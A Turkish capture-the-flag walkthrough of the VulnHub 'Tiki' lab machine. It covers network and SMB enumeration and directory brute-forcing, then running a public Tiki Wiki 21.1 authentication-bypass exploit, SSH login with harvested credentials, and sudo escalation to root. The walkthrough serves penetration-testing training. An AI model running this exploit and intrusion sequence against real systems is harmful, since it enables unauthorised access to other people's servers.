Makine Hakkında Bilgiler
Açıklama:
This machine was created for the OSCP Preparation.This box was created with virtualbox. For any queries please contact me on twitter: @avi0813. Enumeration is the Key.
Vulnhub Sayfası:
https://www.vulnhub.com/entry/tiki-1,525/
İndirme Sayfası:
https://download.vulnhub.com/tiki/Tiki.ova
Walkthrough
Makineyi tespit ederek başlayalım.
┌──(root💀kali)-[~]
└─# arp-scan -l | grep "Systemtechnik"
192.168.101.27 08:00:27:77:89:53 PCS Systemtechnik GmbH
┌──(root💀kali)-[~]
└─# ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.101.24 netmask 255.255.255.0 broadcast 192.168.101.255
inet6 fe80::a00:27ff:fe8b:5efb prefixlen 64 scopeid 0x20<link>
ether 08:00:27:8b:5e:fb txqueuelen 1000 (Ethernet)
RX packets 62827675 bytes 13570637383 (12.6 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 52388880 bytes 4354757296 (4.0 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0nmap taraması ile devam edelim.
[*] Scan: 163
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-06 17:20 EDT
Nmap scan report for 192.168.101.27
Host is up (0.00072s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a3:d8:4a:89:a9:25:6d:07:c5:3d:76:28:06:ed:d1:c0 (RSA)
| 256 e7:b2:89:05:54:57:dc:02:f4:8c:3a:7c:55:8b:51:aa (ECDSA)
|_ 256 fd:77:07:2b:4a:16:3a:01:6b:e0:00:0c:0a:36:d8:2f (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/tiki/
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
MAC Address: 08:00:27:77:89:53 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: 2h59m58s
|_nbstat: NetBIOS name: UBUNTU, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-07-07T00:20:53
|_ start_date: N/A
TRACEROUTE
HOP RTT ADDRESS
1 0.72 ms 192.168.101.27
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.86 seconds
Olay çok belli gibi. smb ile enumeration yapmaya başlayalım. enum4linux ile kullanıcı tespit ettim. Çıktısı aşağıda yer almaktadır. Aynı zamanda kullanıcı adı ve parola olmadan paylaşıma açılmış klasör tespit ettik.
S-1-5-21-4134020711-1526993497-85718105-549 *unknown*\*unknown* (8)
S-1-5-21-4134020711-1526993497-85718105-550 *unknown*\*unknown* (8)
S-1-5-21-4134020711-1526993497-85718105-1000 UBUNTU\silky (Local User)
S-1-5-21-4134020711-1526993497-85718105-1001 *unknown*\*unknown* (8)
S-1-5-21-4134020711-1526993497-85718105-1002 *unknown*\*unknown* (8)┌──(root💀kali)-[~/oscp/tiki]
└─# smbmap -H 192.168.101.27
[+] IP: 192.168.101.27:445 Name: 192.168.101.27
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
Notes READ ONLY My Notes
IPC$ NO ACCESS IPC Service (ubuntu server (Samba, Ubuntu))
┌──(root💀kali)-[~/oscp/tiki]
└─# smbclient //192.168.101.27/Notes -u "" -p ""
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jul 29 09:52:09 2020
.. D 0 Thu Jul 30 15:32:11 2020
Mail.txt N 244 Wed Jul 29 09:52:05 2020
19992176 blocks of size 1024. 9927672 blocks available
smb: \> cat Mail.txt
cat: command not found
smb: \> get Mail.txt
getting file \Mail.txt of size 244 as Mail.txt (47.7 KiloBytes/sec) (average 47.7 KiloBytes/sec)
smb: \> exit
┌──(root💀kali)-[~/oscp/tiki]
└─# ls
enum4linux Mail.txt
┌──(root💀kali)-[~/oscp/tiki]
└─# cat Mail.txt
Hi Silky
because of a current Breach we had to change all Passwords,
please note that it was a 0day, we don't know how he made it.
Your new CMS-password is now 51lky571k1,
please investigate how he made it into our Admin Panel.
Cheers Boss.Buradan aldığımız kullanıcı adı ve parola ile sisteme giriş yapmayı denedim ve başarı oldum. Ayrıca gouster çıktıları aşağıda yer almaktadır.
┌──(root💀kali)-[~/oscp/tiki]
└─# gobuster dir --url http://192.168.101.27 --follow-redirect --status-codes-blacklist "404" --no-error --threads 50 --wordlist /usr/share/wordlists/dirb/big.txt -x php,html,sql,zip,bak,sql,txt,php5,py,rar,7z,log,cgi --expanded --add-slash | tee gobuster1
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.101.27
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: txt,php5,7z,php,html,sql,zip,bak,py,rar,log,cgi
[+] Add Slash: true
[+] Follow Redirect: true
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/07/06 16:15:16 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.101.27/.htaccess.php (Status: 403) [Size: 279]
http://192.168.101.27/.htaccess.cgi (Status: 403) [Size: 279]
http://192.168.101.27/.htaccess/ (Status: 403) [Size: 279]
http://192.168.101.27/.htaccess.zip (Status: 403) [Size: 279]
http://192.168.101.27/.htaccess.py (Status: 403) [Size: 279]
http://192.168.101.27/.htaccess.rar (Status: 403) [Size: 279]
http://192.168.101.27/.htaccess.bak (Status: 403) [Size: 279]
http://192.168.101.27/.htaccess.log (Status: 403) [Size: 279]
http://192.168.101.27/.htaccess.html (Status: 403) [Size: 279]
http://192.168.101.27/.htaccess.7z (Status: 403) [Size: 279]
http://192.168.101.27/.htaccess.txt (Status: 403) [Size: 279]
http://192.168.101.27/.htaccess.php5 (Status: 403) [Size: 279]
http://192.168.101.27/.htaccess.sql (Status: 403) [Size: 279]
http://192.168.101.27/.htpasswd.php5 (Status: 403) [Size: 279]
http://192.168.101.27/.htpasswd.log (Status: 403) [Size: 279]
http://192.168.101.27/.htpasswd.php (Status: 403) [Size: 279]
http://192.168.101.27/.htpasswd.sql (Status: 403) [Size: 279]
http://192.168.101.27/.htpasswd.cgi (Status: 403) [Size: 279]
http://192.168.101.27/.htpasswd.txt (Status: 403) [Size: 279]
http://192.168.101.27/.htpasswd.7z (Status: 403) [Size: 279]
http://192.168.101.27/.htpasswd.bak (Status: 403) [Size: 279]
http://192.168.101.27/.htpasswd.py (Status: 403) [Size: 279]
http://192.168.101.27/.htpasswd.rar (Status: 403) [Size: 279]
http://192.168.101.27/.htpasswd.html (Status: 403) [Size: 279]
http://192.168.101.27/.htpasswd.zip (Status: 403) [Size: 279]
http://192.168.101.27/.htpasswd/ (Status: 403) [Size: 279]
http://192.168.101.27/icons/ (Status: 403) [Size: 279]
http://192.168.101.27/index.html (Status: 200) [Size: 10918]
http://192.168.101.27/robots.txt (Status: 200) [Size: 42]
http://192.168.101.27/server-status/ (Status: 403) [Size: 279]
http://192.168.101.27/tiki/ (Status: 200) [Size: 49414]
===============================================================
2021/07/06 16:15:39 Finished
===============================================================
┌──(root💀kali)-[~/oscp/tiki]
└─# gobuster dir --url http://192.168.101.27/tiki --follow-redirect --status-codes-blacklist "404" --no-error --threads 50 --wordlist /usr/share/wordlists/dirb/big.txt -x php,html,sql,zip,bak,sql,txt,php5,py,rar,7z,log,cgi --expanded --add-slash | tee gobuster11
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.101.27/tiki
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: 7z,log,cgi,php,html,sql,rar,py,zip,bak,txt,php5
[+] Add Slash: true
[+] Follow Redirect: true
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/07/06 16:26:43 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.101.27/tiki/.htaccess.txt (Status: 403) [Size: 279]
http://192.168.101.27/tiki/.htaccess.php5 (Status: 403) [Size: 279]
http://192.168.101.27/tiki/.htaccess.py (Status: 403) [Size: 279]
http://192.168.101.27/tiki/.htaccess.zip (Status: 403) [Size: 279]
http://192.168.101.27/tiki/.htaccess.sql (Status: 403) [Size: 279]
http://192.168.101.27/tiki/.htaccess.html (Status: 403) [Size: 279]
http://192.168.101.27/tiki/.htaccess/ (Status: 403) [Size: 279]
http://192.168.101.27/tiki/.htaccess.bak (Status: 403) [Size: 279]
http://192.168.101.27/tiki/.htaccess.rar (Status: 403) [Size: 279]
http://192.168.101.27/tiki/.htaccess.7z (Status: 403) [Size: 279]
http://192.168.101.27/tiki/.htaccess.log (Status: 403) [Size: 279]
http://192.168.101.27/tiki/.htaccess.cgi (Status: 403) [Size: 279]
http://192.168.101.27/tiki/.htaccess.php (Status: 403) [Size: 279]
http://192.168.101.27/tiki/.htpasswd.rar (Status: 403) [Size: 279]
http://192.168.101.27/tiki/.htpasswd.cgi (Status: 403) [Size: 279]
http://192.168.101.27/tiki/.htpasswd.html (Status: 403) [Size: 279]
http://192.168.101.27/tiki/.htpasswd.txt (Status: 403) [Size: 279]
http://192.168.101.27/tiki/.htpasswd.py (Status: 403) [Size: 279]
http://192.168.101.27/tiki/.htpasswd/ (Status: 403) [Size: 279]
http://192.168.101.27/tiki/.htpasswd.sql (Status: 403) [Size: 279]
http://192.168.101.27/tiki/.htpasswd.7z (Status: 403) [Size: 279]
http://192.168.101.27/tiki/.htpasswd.log (Status: 403) [Size: 279]
http://192.168.101.27/tiki/.htpasswd.php (Status: 403) [Size: 279]
http://192.168.101.27/tiki/.htpasswd.php5 (Status: 403) [Size: 279]
http://192.168.101.27/tiki/.htpasswd.zip (Status: 403) [Size: 279]
http://192.168.101.27/tiki/.htpasswd.bak (Status: 403) [Size: 279]
http://192.168.101.27/tiki/_custom/ (Status: 200) [Size: 958]
http://192.168.101.27/tiki/about.php (Status: 200) [Size: 49414]
http://192.168.101.27/tiki/admin/ (Status: 200) [Size: 49414]
http://192.168.101.27/tiki/changelog.txt (Status: 200) [Size: 1758]
http://192.168.101.27/tiki/comments.php (Status: 200) [Size: 33]
http://192.168.101.27/tiki/console.php (Status: 200) [Size: 51]
http://192.168.101.27/tiki/contribution.php (Status: 200) [Size: 33]
http://192.168.101.27/tiki/copyright.txt (Status: 200) [Size: 56060]
http://192.168.101.27/tiki/cron.php (Status: 200) [Size: 0]
http://192.168.101.27/tiki/db/ (Status: 200) [Size: 49414]
http://192.168.101.27/tiki/doc/ (Status: 200) [Size: 49414]
http://192.168.101.27/tiki/dump/ (Status: 200) [Size: 49414]
http://192.168.101.27/tiki/img/ (Status: 200) [Size: 49414]
http://192.168.101.27/tiki/index.php (Status: 200) [Size: 49414]
http://192.168.101.27/tiki/installer/ (Status: 200) [Size: 49414]
http://192.168.101.27/tiki/lang/ (Status: 200) [Size: 49414]
http://192.168.101.27/tiki/license.txt (Status: 200) [Size: 24381]
http://192.168.101.27/tiki/lib/ (Status: 200) [Size: 49414]
http://192.168.101.27/tiki/lists/ (Status: 200) [Size: 961]
http://192.168.101.27/tiki/modules/ (Status: 200) [Size: 49414]
http://192.168.101.27/tiki/references.php (Status: 200) [Size: 46739]
http://192.168.101.27/tiki/remote.php (Status: 200) [Size: 284]
http://192.168.101.27/tiki/robots.txt (Status: 200) [Size: 2937]
http://192.168.101.27/tiki/storage/ (Status: 200) [Size: 49414]
http://192.168.101.27/tiki/templates/ (Status: 200) [Size: 49414]
http://192.168.101.27/tiki/temp/ (Status: 200) [Size: 49414]
http://192.168.101.27/tiki/themes/ (Status: 200) [Size: 49414]
http://192.168.101.27/tiki/tiki-admin.php (Status: 403) [Size: 46811]
http://192.168.101.27/tiki/vendor/ (Status: 200) [Size: 758]
http://192.168.101.27/tiki/xmlrpc.php (Status: 200) [Size: 0]
===============================================================
2021/07/06 16:28:07 Finished
===============================================================
Sayfada gezinmem sonucu http://192.168.101.27/tiki/tiki-index.php?page=Silkys-Homepage sayfasını buldum. İçinde bir not vardı.
Silkys Homepage
Hi my Name is Silky,
This is my third CTF. Dont give up, there is always a way to root!
I like Cats, Frogs, Snakes and cute Doggos but thats not helpful isnt it?
Hmmm maybe you like something different, ... You like Hacking right?
I got a new CVE Number: But I constantly forget its ID :/Bunun üzerine ilk başta tikiwiki uygulamsının sürümünü tespit etmeyi denedim. http://192.168.101.27/tiki/changelog.txt sayfasından sürümünü tespit ettim.
Artık exploit araştırabiliriz.
┌──(root💀kali)-[~/oscp/tiki]
└─# searchsploit tiki 21
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Tiki Wiki CMS Groupware 21.1 - Authentication Bypass | php/webapps/48927.py
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
Papers: No Results
┌──(root💀kali)-[~/oscp/tiki]
└─# cp $(locate php/webapps/48927.py) .
Harika şimdi bu exploiti kullanmayı deneyelim.
┌──(root💀kali)-[~/oscp/tiki]
└─# python3 48927.py 192.168.101.27
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Admin Password got removed.
Use BurpSuite to login into admin without a password
Okay. Burp ile araya girdim ve admin olarak sisteme giriş yaptım. Uygulamada gezindikten sonra http://192.168.101.27/tiki/tiki-index.php?page=Credentials adresini buldum. İçinde aşağıdaki notlar vardı.
Credentials
silky:Agy8Y7SPJNXQzqAssh ile bağlantı kurmayı denedim ve başarıl oldum.
┌──(root💀kali)-[~/oscp/tiki]
└─# ssh [email protected] 127 ⨯
The authenticity of host '192.168.101.27 (192.168.101.27)' can't be established.
ECDSA key fingerprint is SHA256:ApBZdsEv9OD5yRa5A+VVFRKVtbxaYr9uOaoHXDfOOtQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.101.27' (ECDSA) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-42-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
1 Aktualisierung kann sofort installiert werden.
0 dieser Aktualisierung sind Sicherheitsaktualisierungen.
Um zu sehen, wie diese zusätzlichen Updates ausgeführt werden: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Your Hardware Enablement Stack (HWE) is supported until April 2025.
Last login: Fri Jul 31 09:50:24 2020 from 192.168.56.1
silky@ubuntu:~$ whoami
silky
İlk denememde root olmak biraz hayal kırıklığı yarattı ama olan oldu.
silky@ubuntu:~$ sudo -l
[sudo] Passwort für silky:
Passende Defaults-Einträge für silky auf ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
Der Benutzer silky darf die folgenden Befehle auf ubuntu ausführen:
(ALL : ALL) ALL
silky@ubuntu:~$ sudo su
root@ubuntu:/home/silky# id
uid=0(root) gid=0(root) Gruppen=0(root)
root@ubuntu:/home/silky# cd /root
root@ubuntu:~# ls
flag.txt snap
root@ubuntu:~# cat flag.txt
██████╗ ██████╗ ███╗ ██╗ ██████╗ ██████╗ █████╗ ████████╗██╗ ██╗██╗ █████╗ ████████╗██╗ ██████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔═══██╗████╗ ██║██╔════╝ ██╔══██╗██╔══██╗╚══██╔══╝██║ ██║██║ ██╔══██╗╚══██╔══╝██║██╔═══██╗████╗ ██║██╔════╝██║
██║ ██║ ██║██╔██╗ ██║██║ ███╗██████╔╝███████║ ██║ ██║ ██║██║ ███████║ ██║ ██║██║ ██║██╔██╗ ██║███████╗██║
██║ ██║ ██║██║╚██╗██║██║ ██║██╔══██╗██╔══██║ ██║ ██║ ██║██║ ██╔══██║ ██║ ██║██║ ██║██║╚██╗██║╚════██║╚═╝
╚██████╗╚██████╔╝██║ ╚████║╚██████╔╝██║ ██║██║ ██║ ██║ ╚██████╔╝███████╗██║ ██║ ██║ ██║╚██████╔╝██║ ╚████║███████║██╗
╚═════╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝╚═╝
You did it ^^
I hope you had fun.
Share your flag with me on Twitter: S1lky_1337
flag:88d8120f434c3b4221937a8cd0668588
İlk Yorumu Siz Yapın